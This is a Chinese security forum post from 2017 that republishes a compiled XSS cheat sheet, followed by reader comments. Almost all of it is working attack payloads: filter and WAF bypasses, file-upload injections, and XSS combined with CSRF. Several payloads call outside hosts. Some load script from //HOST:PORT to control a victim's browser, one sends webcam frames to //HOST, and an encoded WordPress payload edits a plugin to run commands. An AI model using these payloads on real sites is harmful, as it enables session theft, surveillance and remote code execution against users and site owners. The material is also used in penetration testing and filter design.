XSS Cheat Sheet

monika / 2017-06-10 11:02:10 / 浏览数 9961 安全技术 技术讨论 顶(0) 踩(0)

XSS Cheat Sheet
本文只发在Mannix基佬群和先知社区，非原创，实为整理所得，如果不喜欢，请点击左上角叉号关闭本页。

```
XSS 101

<h1>Hello,<script>alert(1)</script>!</h1>

1. With <script> tag
<script>alert(1)</script>

2. With regular HTML tags

2.1 Event-based

<TAG EVENT=alert(1)>
<body onload=alert(1)>
<img src=1 onerror=alert(1)>
<svg onload=alert(1)>
<x onmouseover=alert(1)>

2.2 Resource-based

<TAG RESOURCE=javascript:alert(1)>
<iframe src=javascript:alert(1)>
<object data=javascript:alert(1)>
<script>alert(document.domain)</script>

2.1. Steal an user session on the vulnerable website (including admins)

2.2. Capture the keys pressed by the user

2.3. Deface the page, serving any type of content

2.4. Trick the user into giving his/her credentials by means of a fake HTML form

2.5. Crash the browser (local denial of service)

2.6. Force download of files

2.7. Redirect user's browser to another website where his/her machine can be

compromised by memory exploits

data■■■■■■■■
data:[<MIME-type>][;charset=<encoding>][;base64],<data>

<script src="data:text/html;base64,YWxlcnQoZG9jdW1lbnQuY29va2llKQ=="></script>
<script src=data:text/html;base64,YWxlcnQoZG9jdW1lbnQuY29va2llKQ==></script>
<script src=data:text/html;,alert(document.cookie)></script>
<script src=data:text/html,alert(document.cookie)></script>
<script src=data:,alert(document.cookie)></script>
<script src="data:text/html;base64,YWxlcnQoMSk="></script>
<script src=data:text/html;base64,YWxlcnQoMSk=></script>
<script src=data:text/html;,alert(1)></script>
<script src=data:text/html,alert(1)></script>
<script src=data:,alert(1)></script>

<body><svg><x><script>alert(1)</script></x></svg></body>
<svg><x><script>alert(1)</x>
<svg><a><script>alert(1)</a>

XSS Cheat Sheet
```

HTML Context Tag Injection

```
<svg onload=alert(1)>
"><svg onload=alert(1)//
```

HTML Context Inline Injection

```
"onmouseover=alert(1)//
"autofocus/onfocus=alert(1)//
```

Javascript Context Code Injection

```
'-alert(1)-'
'-alert(1)//
```

Javascript Context Code Injection (escaping the escape)

```
\'-alert(1)//
```

Javascript Context Tag Injection

```
</script><svg onload=alert(1)>
```

PHP_SELF Injection

```
http://DOMAIN/PAGE.php/"><svg onload=alert(1)>
```

Without Parenthesis

```
<svg onload=alert`1`>
<svg onload=alert(1)>
<svg onload=alert(1)>
<svg onload=alert(1)>
```

Filter Bypass Alert Obfuscation

```
(alert)(1)
a=alert,a(1)
[1].find(alert)
top["al"+"ert"](1)
top[/al/.source+/ert/.source](1)
al\u0065rt(1)
top['al\145rt'](1)
top['al\x65rt'](1)
top[8680439..toString(30)](1)
```

Body Tag

```
<body onload=alert(1)>
<body onpageshow=alert(1)>
<body onfocus=alert(1)>
<body onhashchange=alert(1)><a href=#x>click this!#x
<body style=overflow:auto;height:1000px onscroll=alert(1) id=x>#x
<body onscroll=alert(1)><br><br><br><br>
<br><br><br><br><br><br><br><br><br><br>
<br><br><br><br><br><br><br><br><br><br>
<br><br><br><br><br><br><x id=x>#x
<body onresize=alert(1)>press F12!
<body onhelp=alert(1)>press F1! (MSIE)
```

Miscellaneous Vectors

```
<marquee onstart=alert(1)>
<marquee loop=1 width=0 onfinish=alert(1)>
<audio src onloadstart=alert(1)>
<video onloadstart=alert(1)><source>
<input autofocus onblur=alert(1)>
<keygen autofocus onfocus=alert(1)>
<form onsubmit=alert(1)><input type=submit>
```

```
<select onchange=alert(1)><option>1<option>2
<menu id=x contextmenu=x onshow=alert(1)>right click me!
```

Agnostic Event Handlers

```
<x contenteditable onblur=alert(1)>lose focus!
<x onclick=alert(1)>click this!
<x oncopy=alert(1)>copy this!
<x oncontextmenu=alert(1)>right click this!
<x oncut=alert(1)>copy this!
<x ondblclick=alert(1)>double click this!
<x ondrag=alert(1)>drag this!
<x contenteditable onfocus=alert(1)>focus this!
<x contenteditable oninput=alert(1)>input here!
<x contenteditable onkeydown=alert(1)>press any key!
<x contenteditable onkeypress=alert(1)>press any key!
<x contenteditable onkeyup=alert(1)>press any key!
<x onmousedown=alert(1)>click this!
<x onmousemove=alert(1)>hover this!
<x onmouseout=alert(1)>hover this!
<x onmouseover=alert(1)>hover this!
<x onmouseup=alert(1)>click this!
<x contenteditable onpaste=alert(1)>paste here!
```

Agnostic Event Handlers

```
<brute contenteditable onblur=alert(1)>lose focus!
<brute onclick=alert(1)>click this!
<brute oncopy=alert(1)>copy this!
<brute oncontextmenu=alert(1)>right click this!
<brute oncut=alert(1)>copy this!
<brute ondblclick=alert(1)>double click this!
<brute ondrag=alert(1)>drag this!
<brute contenteditable onfocus=alert(1)>focus this!
<brute contenteditable oninput=alert(1)>input here!
<brute contenteditable onkeydown=alert(1)>press any key!
<brute contenteditable onkeypress=alert(1)>press any key!
<brute contenteditable onkeyup=alert(1)>press any key!
<brute onmousedown=alert(1)>click this!
<brute onmousemove=alert(1)>hover this!
<brute onmouseout=alert(1)>hover this!
<brute onmouseover=alert(1)>hover this!
<brute onmouseup=alert(1)>click this!
<brute contenteditable onpaste=alert(1)>paste here!
<brute style=font-size:500px onmouseover=alert(1)>0000
<brute style=font-size:500px onmouseover=alert(1)>0001
<brute style=font-size:500px onmouseover=alert(1)>0002
<brute style=font-size:500px onmouseover=alert(1)>0003
```

Code Reuse Inline Script

```
<script>alert(1)//
<script>alert(1)<!–
```

Code Reuse Regular Script

```
<script src=//brutelogic.com.br/1.js>
<script src=//3334957647/1>
```

Filter Bypass Generic Tag + Handler

Encoding

```
<x onxxx=1
<%78 onxxx=1
<x %6Fnxxx=1
<x o%6Exxx=1
<x on%78xx=1
<x onxxx%3D1
```

Mixed Case

```
<X onxxx=1
<x OnXxx=1
<X OnXxx=1
```

Doubling

```
<x onxxx=1 onxxx=1
```

Spacers

```
<x/onxxx=1
<x%09onxxx=1
<x%0Aonxxx=1
<x%0Conxxx=1
<x%0Donxxx=1
<x%2Fonxxx=1
```

Quotes

```
<x 1='1'onxxx=1
<x 1="1"onxxx=1
```

Stripping

```
<[S]x onx[S]xx=1
[S] = stripped char or string
```

Mimetism

```
<x </onxxx=1
<x 1=">" onxxx=1
<http://onxxx%3D1/
```

Generic Source Breaking

```
<x onxxx=alert(1) 1='
```

Source-Breaking Injections

onafterscriptexecute

onbeforescriptexecute

```
if (brute)
alert("Congratz, buddy!");
else
alert("Almost there, try again.");
```

Browser Control

```
<svg onload=setInterval(function(){with(document)body.
appendChild(createElement('script')).src='//HOST:PORT'},0)>
$ while :; do printf "j$ "; read c; echo $c | nc -lp PORT >/dev/null; done
```

Using XSS to Control a Browser

```
<svg onload=setInterval(function(){d=document;
z=d.createElement("script");z.src="//HOST:PORT";
d.body.appendChild(z)},0)>
setInterval(code, 0)
function(){code}
d=document;
z=d.createElement("script");
z.src="//HOST:PORT";
d.body.appendChild(z)
<svg/onload=setInterval(function(){with(document)body.
appendChild(createElement("script")).src="//HOST:PORT"},0)>
$ while :; do printf "j$ "; read c; echo $c | nc -lp PORT >/dev/null; done
```

Multi Reflection

Double Reflection

Single Input

```
'onload=alert(1)><svg/1='
Single Input (script-based)
'>alert(1)</script><script/1='
*/alert(1)</script><script>/*
```

Triple Reflection

Single Input

```
*/alert(1)">'onload="/*<svg/1='
`-alert(1)">'onload="`<svg/1='
```

Single Input (script-based)

```
*/</script>'>alert(1)/*<script/1='
```

Multi Input

Double Input

```
p=<svg/1='&q='onload=alert(1)>
```

Triple Input

```
p=<svg 1='&q='onload='/*&r=*/alert(1)'>
```

Multi Reflection XSS

```
<svg onload=write(1)>
p='onload=alert(1)><svg/1='
'onload=alert(1)><svg/1='
… [code] …
'onload=alert(1)><svg/1='
p='>alert(1)</script><script/1='
p=*/alert(1)</script><script>/*
*/alert(1)</script><script>/*
… [code] …
*/alert(1)</script><script>/*
p=*/alert(1)">'onload="/*<svg/1='
p=`-alert(1)">'onload="`<svg/1='
`-alert(1)">'onload="`<svg/1='
… [code] …
`-alert(1)">'onload="`<svg/1='
… [code] …
`-alert(1)">'onload="`<svg/1='
p=*/</script>'>alert(1)/*<script/1='
*/</script>'>alert(1)/*<script/1='
… [code] …
*/</script>'>alert(1)/*<script/1='
… [code] …
*/</script>'>alert(1)/*<script/1='
p=<svg/1='&q='onload=alert(1)>
p=<svg 1='&q='onload='/*&r=*/alert(1)'>
var n = {a: "$p", b: "$p"};
(double reflection, single input $p)
var n = {a: "$p", b: "$q"};
(double reflection, double input $p and $q)
```

INPUT

```
p=-alert(1)}//\
RESULT*
```

```
var n = {a: "-alert(1)}//\", b: "-alert(1)}//\"};
```

INPUT

```
p=\&q=-alert(1)//
```
RESULT*
```
var n = {a: "\", b: "-alert(1)}//"};
```

Without Event Handlers

```
<script>alert(1)</script>
<script src=javascript:alert(1)>
<iframe src=javascript:alert(1)>
<embed src=javascript:alert(1)>
<a href=javascript:alert(1)>click
<math><brute href=javascript:alert(1)>click
<form action=javascript:alert(1)><input type=submit>
<isindex action=javascript:alert(1) type=submit value=click>
<form><button formaction=javascript:alert(1)>click
<form><input formaction=javascript:alert(1) type=submit value=click>
<form><input formaction=javascript:alert(1) type=image value=click>
<form><input formaction=javascript:alert(1) type=image src=SOURCE>
<isindex formaction=javascript:alert(1) type=submit value=click>
<object data=javascript:alert(1)>
<iframe srcdoc=<svg/onload=alert(1)>>
<svg><script xlink:href=data:,alert(1) />
<math><brute xlink:href=javascript:alert(1)>click
<svg><a xmlns:xlink=http://www.w3.org/1999/xlink xlink:href=?><circle r=400 /><animate attributeName=xlink:href begin=0 from=j
```

XSS Without Event Handlers

```
data:text/html,<script>alert(1)</script>
```

```
data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==
```

1) (no attribute)

```
<script>alert(1)</script>
```

2) src

```
<script src=javascript:alert(1)>
<iframe src=javascript:alert(1)>
<embed src=javascript:alert(1)> *
```

3) href

```
<a href=javascript:alert(1)>click
<math><brute href=javascript:alert(1)>click *
```

4) action

```
<form action=javascript:alert(1)><input type=submit>
<isindex action=javascript:alert(1) type=submit value=click> *
```

5) formaction

```
<form><button formaction=javascript:alert(1)>click
<form><input formaction=javascript:alert(1) type=submit value=click>
<form><input formaction=javascript:alert(1) type=image value=click>
<form><input formaction=javascript:alert(1) type=image src=http://brutelogic.com.br/webgun/img/youtube1.jpg>
<isindex formaction=javascript:alert(1) type=submit value=click> *
```

6) data

```
<object data=javascript:alert(1)> *
```

7) srcdoc

```
<iframe srcdoc=%26lt;svg/o%26%23x6Eload%26equals;alert%26lpar;1)%26gt;>
```

8) xlink:href

```
<svg><script xlink:href=data:,alert(1)></script>
<svg><script xlink:href=data:,alert(1) /> *
<math><brute xlink:href=javascript:alert(1)>click *
```

9) from

```
<svg><a xmlns:xlink=http://www.w3.org/1999/xlink xlink:href=?><circle r=400 /><animate attributeName=xlink:href begin=0 from=j
```

Mobile Only

Event Handlers

```
<html ontouchstart=alert(1)>
<html ontouchend=alert(1)>
<html ontouchmove=alert(1)>
<html ontouchcancel=alert(1)>
<body onorientationchange=alert(1)>
```

Javascript

Properties

```
<svg onload=alert(navigator.connection.type)>
<svg onload=alert(navigator.battery.level)>
<svg onload=alert(navigator.battery.dischargingTime)>
<svg onload=alert(navigator.battery.charging)>
```

Functions

```
<svg onload=navigator.vibrate(500)>
<svg onload=navigator.vibrate([500,300,100])>
```

XSS in Mobile Devices

```
<body onorientationchange=alert(orientation)>
<html ontouchstart=alert(1)>
<html ontouchend=alert(1)>
<html ontouchmove=alert(1)>
<html ontouchcancel=alert(1)>
<svg onload=alert(navigator.connection.type)>
<svg onload=alert(navigator.battery.level)>
<svg onload=alert(navigator.battery.dischargingTime)>
<svg onload=alert(navigator.battery.charging)>
<script>
navigator.geolocation.getCurrentPosition(function(p){
alert('Latitude:'+p.coords.latitude+',Longitude:'+
p.coords.longitude+',Altitude:'+p.coords.altitude);})
</script>
<script>
d=document;
v=d.createElement('video');
c=d.createElement('canvas');
c.width=640;
c.height=480;
navigator.webkitGetUserMedia({'video':true},function(s){
v.src=URL.createObjectURL(s);v.play()},function(){});
c2=c.getContext('2d');
x='c2.drawImage(v,0,0,640,480);fetch("//HOST/"+c2.canvas.toDataURL())';
setInterval(x,5000);
</script>
open(c2.canvas.toDataURL())
<svg onload=navigator.vibrate(500)>
<svg onload=navigator.vibrate([500,300,100])>
```

Generic Self to Regular XSS

```
<iframe src=LOGOUT_URL onload=forms[0].submit()>
</iframe><form method=post action=LOGIN_URL>
<input name=USERNAME_PARAMETER_NAME value=USERNAME>
<input name=PASSWORD_PARAMETER_NAME value=PASSWORD>
```

Leveraging Self-XSS

POST to GET

Copy & Paste

XSS + CSRF

```
<iframe src=LOGOUT_URL onload=forms[0].submit()>
</iframe><form method=post action=LOGIN_URL>
<input name=USERNAME_PARAMETER_NAME value=USERNAME>
<input name=PASSWORD_PARAMETER_NAME value=PASSWORD>
<iframe src=//localhost/self/logout.php
onload=forms[0].submit()></iframe><form method=POST
action=//localhost/self/login.php?returnURL=changemail.php>
<input name=username value=brute>
<input name=password value=logic>
```

File Upload

Injection in Filename

```
"><img src=1 onerror=alert(1)>.gif
```

Injection in Metadata

```
$ exiftool -Artist='"><img src=1 onerror=alert(1)>' FILENAME.jpeg
```

Injection with SVG File

```
<svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.domain)"/>
```

Injection with GIF File as Source of Script (CSP Bypass)

```
GIF89a/*<svg/onload=alert(1)>*/=alert(document.domain)//;
```

File Upload XSS

1) Filename

2) Metadata

```
$ exiftool -FIELD=XSS FILE
```

```
$ exiftool -Artist=' "><img src=1 onerror=alert(document.domain)>' brute.jpeg
```

3) Content

```
<svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.domain)"/>
```

4) Source

```
GIF89a/*<svg/onload=alert(1)>*/=alert(document.domain)//;
```

Google Chrome Auditor Bypass (up to v51)

```
<script src="data:,alert(1)//
"><script src=data:,alert(1)//
<script src="//brutelogic.com.br/1.js#
"><script src=//brutelogic.com.br/1.js#
<link rel=import href="data:text/html,<script>alert(1)</script>
"><link rel=import href=data:text/html,<script>alert(1)</script>
```

Chrome XSS Bypass

```
"><script src=data:%26comma;alert(1)-"
<input value="INPUT">
```

```
<input value=""><script src=data:%26comma;alert(1)-"">
<script src="URL"></script>
<script type="text/javascript"></script>
```

PHP File for XHR Remote Call

```
<?php header("Access-Control-Allow-Origin: *"); ?>
<img src=1 onerror=alert(1)>
```

CORS Enabled XSS

```
<?php header("Access-Control-Allow-Origin: *"); ?>
<img src=1 onerror=alert(document.domain)>
#data:text/html,<img src=1 onerror=alert(document.domain)
```

Server Log Avoidance

```
<svg onload=eval(URL.slice(-8))>#alert(1)
<svg onload=eval(location.hash.slice(1)>#alert(1)
<svg onload=innerHTML=location.hash>#<script>alert(1)</script>
```

Avoiding XSS Detection

```
with(document)body.appendChild(createElement('script')).src='//DOMAIN'
<svg/onload=eval(location.hash.slice(1))>#with(document)
body.appendChild(createElement('script')).src='//DOMAIN'
#with(document)body.appendChild(createElement
(/script/.source)).src=atob(/Ly9icnV0ZWxvZ2ljLmNvbS5ici8y/.source)
<svg/onload=eval(atob(location.hash.slice(1)))>
#d2l0aChkb2N1bWVudClib2R5LmFwcGVuZENoaWxkKGNyZW
F0ZUVsZW1lbnQoL3NjcmlwdC8uc291cmNlKSkuc3JjPWF0b
2IoL0x5OWljblYwWld4dloybGpMbU52YlM1aWNpOHkvLnNv
dXJjZSk=
<svg/onload=eval(atob(URL.slice(-148)))>
#d2l0aChkb2N1bWVudClib2R5LmFwcGVuZENoaWxkKGNyZW
F0ZUVsZW1lbnQoL3NjcmlwdC8uc291cmNlKSkuc3JjPWF0b
2IoL0x5OWljblYwWld4dloybGpMbU52YlM1aWNpOHkvLnNv
dXJjZSk=
```

Shortest PoC

```
<base href=//0>
$ while:; do echo "alert(1)" | nc -lp80; done
Portable Wordpress RCE
<script/src="data:,eval(atob(location.hash.slice(1)))//#
#eD1uZXcgWE1MSHR0cFJlcXVlc3QoKQ0KcD0nL3dwLWFkbWluL3Bsd
Wdpbi1lZGl0b3IucGhwPycNCmY9J2ZpbGU9YWtpc21ldC9pbmRleC5w
aHAnDQp4Lm9wZW4oJ0dFVCcscCtmLDApDQp4LnNlbmQoKQ0KJD0n
X3dwbm9uY2U9JysvY2UiIHZhbHVlPSIoW14iXSo/KSIvLmV4ZWMoeC
5yZXNwb25zZVRleHQpWzFdKycmbmV3Y29udGVudD08Pz1gJF9HRV
RbYnJ1dGVdYDsmYWN0aW9uPXVwZGF0ZSYnK2YNCngub3BlbignUE
9TVCcscCtmLDEpDQp4LnNldFJlcXVlc3RIZWFkZXIoJ0NvbnRlbnQtVHl
wZScsJ2FwcGxpY2F0aW9uL3gtd3d3LWZvcm0tdXJsZW5jb2RlZCcpD
Qp4LnNlbmQoJCk=
http://DOMAIN/WP-ROOT/wp-content/plugins/akismet/index.php?brute=CMD
```

```
* In URLs:
& => %26 , # => %23 , + => %2B
```

```
<a href=javascript:alert(1)>
Javascript:alert(1)
```

```
(URL-encoded form)
Javas%26%2399;ript:alert(1)
```

```
<iframe src=javascript:alert(1)>
http(s)://host/page?p=XSS
<object data=?p=%253Csvg/o%256Eload%253Dalert(1)%253E>
<embed src=?p=%253Csvg/o%256Eload%253Dalert(1)%253E>
```

```
<iframe src=?p=%26lt;svg/o%256Eload%26equals;alert(1)%26gt;>
"><iframe src="/tests/cors/%23/tests/auditor.php?q1=<img/src=x onerror=alert(1)"
%0aalert(1);/"><script>///
<form action="http://brutelogic.com.br/chall/minified.php" method="POST" enctype="multipart/form-data">
<textarea name=p id=p>"
alert(1)-/><script>///</textarea>
</form>
<script>document.forms[0].submit(); </script>
*//"><script>/*alert(1)//
</input/"><svg><script>alert(1)//
```

Calling Remote Script With Event Handlers

1 – XHR

```
"var x=new XMLHttpRequest();x.open('GET','//0');x.send();
x.onreadystatechange=function(){if(this.readyState==4){write(x.responseText)}}"
```

2 – Fetch

```
fetch('//0').then(function(r){r.text().then(function(w){write(w)})})
```

3 – Create Element

```
with(top)body.appendChild (createElement('script')).src='//0'
```

4 – jQuery Get

```
$.get('//0',function(r){write(r)})>
```

5 – jQuery Get Script

```
$.getScript('//0')
```

The Easiest Way to Bypass XSS Mitigations

```
echo $_GET["p"];
echo str_replace(" ", "", $_GET["q"]);
echo $_GET["p"];
echo str_ireplace("<script", "", $_GET["q"]);
echo str_ireplace("<script","InvalidTag", $_GET["r"]);
echo str_ireplace("<script","<InvalidTag", $_GET["s"]);
```

XSS Authority Abuse

```
http://alert(1)@brutelogic.com.br/webgun/test.php?p=<svg+onload=eval(URL.slice(7,15))>
http://javascript:alert(1)@brutelogic.com.br/webgun/test.php?p=<svg+onload=location=URL.slice(7,26)>
```

Bypassing Javascript Overrides

```
<svg onload=alert(1)>
<svg onload=document.write('XSS')>
<svg onload=document.writeln(decodeURI(location.hash))>#<img src=1 onerror=alert(1)>
```

The Shortest Reflected XSS Attack Possible

```
<script src="INPUT"></script
<script src="//INPUT"></script>
<base href=//0>
```

Transcending Context-Based Filters

1) among tags

2) inside a tag

3) in a script section

```
1) preg_replace("/\<script|=/i", "-", $_REQUEST['q']);
```

```
2) preg_replace("/on\w+\s*=|\>/i", "-", $_REQUEST['q']);

3) htmlspecialchars($_REQUEST['q'], ENT_QUOTES);

<math><brute href=javascript:alert(1)>

1) <math>

2) " href=javascript:alert(1)

1) <math><!–

2) " href=javascript:alert(1)

<math><!–" href=javascript:alert(1)//
" href=javascript:alert(1) <math><!–
lol video<!–"href=javascript:alert(1) style=font-size:50px;
display:block;color:transparent;
background:url('//brutelogic.com.br/webgun/img/youtube1.jpg');
background-repeat:no-repeat –><math><!–
<svg><!–'-alert(1)-'
'-alert(1)-'<svg><!–
" accesskey=x onclick=alert(1) 1='
```

Location Based Payloads – Part IV

Document Properties Scheme

```
protocol://domain/path/page?p= text1 <tag handler=code> text2 # text3
protocol://domain/path/page?p= text1 <tag handler=code> text2 # text3
protocol://domain/path/page?p= text1 <tag handler=code> text2 # text3
protocol://domain/path/page?p= text1 <tag handler=code> text2 # text3
protocol://domain/path/page?p= text1 <tag handler=code> text2 # text3
protocol://domain/path/page?p= text1 <tag handler=code> text2 # text3
protocol://domain/path/page?p= text1 <tag handler=code> text2 # text3
protocol://domain/path/page?p= text1 <tag handler=code> text2 # text3
protocol://domain/path/page?p= text1 <tag handler=code> text2 # text3
protocol://domain/path/page?p= text1 <tag handler=code> text2 # text3
previousSibling.nodeValue, document.body.textContent*
location.search, tagName, nodeName, outerHTML
textContent, nextSibling.nodeValue, firstChild.nodeValue, lastChild.nodeValue, innerHTML
location.hash
```

Location Based Payloads – Part III

– Location
– Location Self
– Location Self Plus

before < [itself [inside]] > after # hash
Before: everything before the tag.
Itself: anything that uses the tag name.
Inside: any attribute inside the tag.
After: everything after the tag until hash.
Hash: everything after the # sign.

1) Location

1.1) Location Itself+After+Hash (tagName+innerHTML+location.hash)

```
<javascript onclick=location=tagName%2binnerHTML%2blocation.hash>:/*click me!#*/alert(9)
<javascript onclick=location=tagName%2binnerHTML%2blocation.hash>:'click me!#'-alert(9)
```

1.2) Location Itself+Hash (tagName+URL)

```
<javascript: onclick=location=tagName%2bURL>click me!#%0Aalert(1)
javascript: + http://domain/page?p=<javascript: onclick=location=tagName%2bURL>click me!#%0Aalert(1)
<javascript:"-' onclick=location=tagName%2bURL>click me!#'-alert(1)
```

```
javascript:"-' + http://domain/page?p=<javascript:"-' onclick=location=tagName%2bURL>click me!#'-alert(1)
```

1.3) Location After+Hash (innerHTML+URL)

```
<j onclick=location=innerHTML%2bURL>javascript:"-'click me!</j>#'-alert(1)
javascript:"-'click me! + http://domain/page?p=<j onclick=location=innerHTML%2bURL>javascript:"-'click me!</j>#'-alert(1)
<j onclick=location=innerHTML%2bURL>javascript:</j>#%0Aalert(1)
javascript: + http://domain/page?p=<j onclick=location=innerHTML%2bURL>javascript:</j>#%0Aalert(1)
```

1.4) Location Itself+After+Hash (tagName+innerHTML+URL)

```
<javas onclick=location=tagName%2binnerHTML%2bURL>cript:"-'click me!</javas>#'-alert(1)
javas + cript:"-'click me! + http://domain/page?p=<javas%20onclick=location=tagName%2binnerHTML%2bURL>cript:"-'click me!</java
<javas onclick=location=tagName%2binnerHTML%2bURL>cript:</javas>#%0Aalert(1)
javas + cript: + http://domain/page?p=<javas onclick=location=tagName%2binnerHTML%2bURL>cript:</javas>#%0Aalert(1)
```

1.5) Location Itself+Before (tagName+previous.Sibling)

```
"-alert(1)<javascript:" onclick=location=tagName%2bpreviousSibling.nodeValue>click me!
javascript:" + "-alert(1)
```

1.6) Location Itself+After+Before (tagName+innerHTML+previous.Sibling)

```
"-alert(1)<javas onclick=location=tagName%2binnerHTML%2bpreviousSibling.nodeValue>cript:"click me!
javas + cript:" + "-alert(1)
```

1.7) Location After+Itself (innerHTML+outerHTML)

```
<alert(1)<!– onclick=location=innerHTML%2bouterHTML>javascript:1/*click me!*/</alert(1)<!–>
javascript:1/*click me!*/ + <alert(1)<!– onclick=location=innerHTML%2bouterHTML>
<j 1="*/""-alert(1)<!– onclick=location=innerHTML%2bouterHTML>javascript:/*click me!
javascript:/* + <j 1="*/""-alert(1)<!– onclick=location=innerHTML%2bouterHTML>
```

1.8) Location After+Before+Itself (innerHTML+previousSibling+outerHTML)

```
*/"<j"-alert(1)<!– onclick=location=innerHTML%2bpreviousSibling.nodeValue%2bouterHTML>javascript:/*click me!
javascript:/*click me! + */" + <x"-alert(9)<!– onclick=location=innerHTML%2bpreviousSibling.nodeValue%2bouterHTML>
*/"<j 1=-alert(9)// onclick=location=innerHTML%2bpreviousSibling.nodeValue%2bouterHTML>javascript:/*click me!
javascript:/*click me! + */" + <x 1=" -alert(9)//" onclick=location=innerHTML%2bpreviousSibling.nodeValue%2bouterHTML>
```

1.9) Location After (innerHTML)

```
<j onclick=location=innerHTML>javascript%26colon;alert(1)//
javascript:alert(1)//
```

1.10) Location Inside (name+id)

```
<iframe id=t:alert(1) name=javascrip onload=location=name%2bid>
javascrip + t:alert(1)
```

2) Location Self

2.1) Location Self Inside

```
<svg id=?p=<svg/onload=alert(1)%2B onload=location=id>
http://domain/page?p=<svg/onload=alert(1)+
<svg id=?p=<script/src=//3237054390/1%2B onload=location=id>
http://domain/page?p=<script/src=//3237054390/1+
```

2.2) Location Self After

```
<j onclick=location=textContent>?p=%26lt;svg/onload=alert(1)>
http://domain/page?p=<svg/onload=alert(1)>
```

3) Location Self Plus

3.1) Location Self Plus Itself

```
<j%26p=<svg%2Bonload=alert(1) onclick=location%2B=outerHTML>click me!
```

```
http://domain/page?p=<j%26p=<svg%2Bonload=alert(1)%20onclick=location%2B=outerHTML>click%20me!<j&p=<svg+onload=alert(1) onclic
```

3.2) Location Self Plus After

```
<j onclick=location%2B=textContent>%26p=%26lt;svg/onload=alert(1)>
http://domain/page?p=<j%20onclick=location%2B=textContent>%26p=%26lt;svg/onload=alert(1)>&p=<svg/onload=alert(1)>
```

3.3) Location Self Plus Before

```
%26p=%26lt;svg/onload=alert(1)><j onclick=location%2B=document.body.textContent>click me!
http://domain/page?p=%26p=%26lt;svg/onload=alert(1)><j%20onclick=location%2B=document.body.textContent>click%20me![BODY_CONTEN
```

Location Based Payloads – Part II

```
<svg onload=alert(tagName)>
<javascript onclick=alert(tagName)>click me!
<javascript onclick=alert(tagName%2Blocation.hash)>click me!#:alert(1)
<javascript: onclick=alert(tagName%2Blocation.hash)>click me!#alert(1)
<javascript: onclick=alert(tagName%2BinnerHTML%2Blocation.hash)>/*click me!#*/alert(1)
<javascript: onclick=location=tagName%2BinnerHTML%2Blocation.hash>/*click me!#*/alert(1)
Result => javascript: + /*click me! + #*/alert(1)
<javascript: onclick=location=tagName%2BinnerHTML%2Blocation.hash>'click me!#'-alert(1)
Result => javascript: +'click me! + #'-alert(1)
<javascript: onclick=alert(tagName%2BinnerHTML%2Blocation.hash)>'click me!</javascript:>#'-alert(1)
javascript + :'click me! + #'-alert(1)
javascrip + t:'click me! + #'-alert(1)
javas + cript:'click me! + #'-alert(1)
Location Based Payloads – Part I
<svg/onload=location='javascript:alert(1)'>
<svg/onload=location=location.hash.substr(1)>#javascript:alert(1)
Result => javascript:alert(1)
<svg/onload=location='javas'%2B'cript:'%2B
'ale'%2B'rt'%2Blocation.hash.substr(1)>#(1)
Result => javas + cript: + ale + rt + (1)
<svg/onload=location=/javas/.source%2B/cript:/.source%2B
/ale/.source%2B/rt/.source%2Blocation.hash.substr(1)>#(1)
Result => javas + script: + ale + rt + (1)
<svg/onload=location=/javas/.source%2B/cript:/.source%2B/ale/.source
%2B/rt/.source%2Blocation.hash[1]%2B1%2Blocation.hash[2]>#()
Result => javas + cript: + ale + rt + ( + 1 + )
```

Filter Bypass Procedure

#XSS vs WAF

1) use <x & jump to event handler

2) use onxxx=yyy & find number of x it accepts

3) test them & change tag accordingly

4) put js

— Brute (@brutelogic) October 10, 2015

```
<x onxxx=1
```

Example:

```
<x onxxx=1     -> pass
<x onxxxx=1   -> pass
<x onxxxxx=1 -> block
```

Event handlers with up to 6 chars:
oncut, onblur, oncopy, ondrag, ondrop, onhelp, onload, onplay, onshow

1) Encoding

```
<x onxxx=1
<%78 onxxx=1
```

```
<x %6Fnxxx=1
<x o%6Exxx=1
<x on%78xx=1
<x onxxx%3D1

2) Mixed Case

<X onxxx=1
<x ONxxx=1
<x OnXxx=1
<X OnXxx=1

3) Doubling

<x onxxx=1 onxxx=1

4) Spacers

<x/onxxx=1
<x%09onxxx=1
<x%0Aonxxx=1
<x%0Conxxx=1
<x%0Donxxx=1
<x%2Fonxxx=1

5) Quotes

<x 1='1'onxxx=1
<x 1="1"onxxx=1

6) Mimetism

<x </onxxx=1 (mimics a closing tag)
<x 1=">" onxxx=1 (mimics a text outside of the tag)
<http://onxxx%3D1/ (mimics an URL)

7) Combo

<x%2F1=">%22OnXxx%3D1
Existing Code Reuse
<script>alert(1)//
<script>alert(1)<!–

1) Before injection:

<input type="text" value=""><script type="text/javascript"> function x(){ do something }</script>

2) After injection:

<input type="text" value=""><script>alert(1)//"><script type="text/javascript"> function x(){ do something }</script>
<script src=//brutelogic.com.br/1>
<script src=//3334957647/1>
http://brutelogic.com.br/webgun/test.php?p=<script src=//3334957647/1>
http://brutelogic.com.br/webgun/test.php?p=<brute id=test onmouseover=alert(1)>AAAA
http://brutelogic.com.br/webgun/test.php?p=<brute onmouseover=pop(1)>AAAA

XSS Payload Scheme

<tag handler=code>
<b onclick=alert(1)>click me!
<img src=x onerror=alert(1)>
<frameset><frame src onload=alert(1)>
extra1 <tag extra2 handler=code> extra3
extra1 <tag handler=code extra2> extra3
<svg/onload=alert(1)>
extra1 <tag spacer1 extra2 spacer2 handler spacer3 = spacer4 code spacer5> extra3
extra1 <tag spacer1 handler spacer3 = spacer4 code spacer5 extra2> extra3 (without spacer2)
<table><thead%0Cstyle=font-size:700px%0Donmouseover%0A=%0Bconfirm(1)%09><td>AAAAAAAAA
```

点击收藏 | 2 关注 | 0

上一篇：基线检查表&&安全加固规范（V1.1） 下一篇：很多国外书籍电子版本免费下载

1. 10 条回复

hades 2017-06-10 13:51:22

幸苦了

0 回复Ta

---

uber 2017-06-10 14:35:52

过上一版本云锁的xss
<script>$a=0;alert(123)</script>

0 回复Ta

---

hades 2017-06-11 03:28:25

欢迎大家补充相关内容

0 回复Ta

00airs 2017-06-12 02:58:11

厉害，学习了

0 回复Ta

勾陈安全 2017-06-12 07:33:52

RMB这么好赚？开车了 1500个XSS Payload：https://sql--injection.blogspot.jp/p/blog-page_80.html https://sql--injection.blogspot.jp/p/blog-page_63.html

0 回复Ta

---

hades 2017-06-12 07:57:18

你也可以的 哈哈

0 回复Ta

---

alinacong 2017-06-14 01:31:13

好厉害，好厉害，学习了

0 回复Ta

---

